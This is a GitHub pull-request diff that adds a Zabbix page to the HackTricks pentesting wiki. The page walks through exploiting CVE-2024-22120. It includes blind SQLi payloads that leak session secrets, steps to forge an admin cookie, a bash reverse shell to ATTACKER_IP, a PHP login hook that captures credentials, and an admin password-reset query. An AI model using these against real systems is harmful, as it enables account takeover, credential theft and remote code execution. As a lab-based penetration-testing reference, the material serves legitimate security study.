Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions src/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -497,6 +497,7 @@
- [Harvesting tickets from Windows](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md)
- [Harvesting tickets from Linux](network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md)
- [Wsgi](network-services-pentesting/pentesting-web/wsgi.md)
- [Zabbix](network-services-pentesting/pentesting-web/zabbix.md)
- [110,995 - Pentesting POP](network-services-pentesting/pentesting-pop.md)
- [111/TCP/UDP - Pentesting Portmapper](network-services-pentesting/pentesting-rpcbind.md)
- [113 - Pentesting Ident](network-services-pentesting/113-pentesting-ident.md)
Expand Down
5 changes: 3 additions & 2 deletions src/network-services-pentesting/pentesting-web/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -105,6 +105,7 @@ Some **tricks** for **finding vulnerabilities** in different well known **techno
- [**Wordpress**](wordpress.md)
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
- [**Zabbix**](zabbix.md)

_Take into account that the **same domain** can be using **different technologies** in different **ports**, **folders** and **subdomains**._\
If the web application is using any well known **tech/platform listed before** or **any other**, don't forget to **search on the Internet** new tricks (and let me know!).
Expand Down Expand Up @@ -180,7 +181,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs
Web servers may **behave unexpectedly** when weird data is sent to them. This may open **vulnerabilities** or **disclosure sensitive information**.

- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc)
- **Add "\[]", "]]", and "\[["** in **cookie values** and **parameter** values to create errors
- **Add "[]", "]]", and "[["** in **cookie values** and **parameter** values to create errors
- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL**
- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE

Expand Down Expand Up @@ -427,4 +428,4 @@ Entry_12:
Command: ffuf -w {Subdomain_List}:FUZZ -u {Web_Proto}://{Domain_Name} -H "Host:FUZZ.{Domain_Name}" -c -mc all {Ffuf_Filters}
```

{{#include ../../banners/hacktricks-training.md}}
{{#include ../../banners/hacktricks-training.md}}
166 changes: 166 additions & 0 deletions src/network-services-pentesting/pentesting-web/zabbix.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,166 @@
# Zabbix Security

{{#include ../../banners/hacktricks-training.md}}

## Overview

Zabbix is a monitoring platform exposing a web UI (typically behind Apache/Nginx) and a server component that also talks the Zabbix protocol on TCP/10051 (server/trapper) and agent on TCP/10050. During engagements you may encounter:

- Web UI: HTTP(S) virtual host like zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port: 10050/tcp

Useful cookie format: zbx_session is Base64 of a compact JSON object that includes at least sessionid, serverCheckResult, serverCheckTime and sign. The sign is an HMAC of the JSON payload.

## zbx_session cookie internals

Recent Zabbix versions compute the cookie like:

- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)

If you can recover the global session_key and a valid admin sessionid, you can forge a valid Admin cookie offline and authenticate to the UI.

## CVE-2024-22120 — Time-based blind SQLi in Zabbix Server audit log

Affected versions (as publicly documented):

- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Vulnerability summary:

- When a Script execution is recorded into the Zabbix Server audit log, the clientip field is not sanitized and is concatenated into SQL, enabling time-based blind SQLi via the server component.
- This is exploitable by sending a crafted "command" request to the Zabbix server port 10051 with a valid low-privileged sessionid, a hostid the user can access, and a permitted scriptid.

Preconditions and discovery tips:

- sessionid: From guest/login in the web UI, decode zbx_session (Base64) to get sessionid.
- hostid: Observe via web UI requests (e.g., Monitoring → Hosts) or intercept with a proxy; common default is 10084.
- scriptid: Only scripts permitted to the current role will execute; verify by inspecting the script menu/AJAX responses. Defaults like 1 or 2 are often allowed; 3 may be denied.

### Exploitation flow

1) Trigger audit insert with SQLi in clientip

- Connect to TCP/10051 and send a Zabbix framed message with request="command" including sid, hostid, scriptid, and clientip set to a SQL expression that will be concatenated by the server and evaluated.

Minimal message (JSON body) fields:

```json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
```

The full wire format is: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. You can use pwntools or your own socket code to frame it.

2) Time-bruteforce secrets via conditional sleep

Use conditional expressions to leak hex-encoded secrets 1 char at a time by measuring response time. Examples that have worked in practice:

- Leak global session_key from config:

```sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
```

- Leak Admin session_id (userid=1) from sessions:

```sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
```

Notes:

- charset: 32 hex chars [0-9a-f]
- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) and measure wall-clock per attempt
- Ensure your scriptid is actually authorized for the user; otherwise no audit row is produced and timing won’t work

3) Forge Admin cookie

Once you have:

- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1

Compute:

- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)

Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.

### Ready-made tooling

- Public PoC automates: bruteforce of session_key and admin sessionid, and cookie forging; requires pwntools and requests.
- Parameters to provide typically include: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, and optionally a known --admin-sid to skip brute.

## RCE via Script execution (post-Admin)

With Admin access in the UI, you can execute predefined Scripts against monitored hosts. If agents/hosts execute script commands locally, this yields code execution on those systems (often as the zabbix user on Linux hosts):

- Quick check: run id to confirm user context
- Reverse shell example:

```bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
```

TTY upgrade (Linux):

```bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
```

If you have DB access, an alternative to forging a cookie is resetting the Admin password to the documented bcrypt for "zabbix":

```sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
```

## Credential capture via login hook (post-exploitation)

If file write is possible on the web UI server, you can temporarily add a logging snippet to /usr/share/zabbix/index.php around the form-based login branch to capture credentials:

```php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
```

Users authenticate normally; read /dev/shm/creds.txt afterwards. Remove the hook when done.

## Pivoting to internal services

Even if the service account shell is /usr/sbin/nologin, adding an SSH authorized_keys entry and using -N -L allows local port-forwarding to loopback-only services (e.g., CI/CD at 8111):

```bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111
```

See more tunneling patterns in: Check [Tunneling and Port Forwarding](../../generic-hacking/tunneling-and-port-forwarding.md).

## Operational tips

- Validate scriptid is permitted for the current role (guest may have a limited set)
- Timing brute can be slow; cache recovered admin sessionid and reuse it
- The JSON sent to 10051 must be framed with the ZBXD\x01 header and a little-endian length

## References

- [HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot](https://0xdf.gitlab.io/2025/10/09/htb-watcher.html)
- [CVE-2024-22120-RCE toolkit (PoC scripts)](https://github.com/W01fh4cker/CVE-2024-22120-RCE)

{{#include ../../banners/hacktricks-training.md}}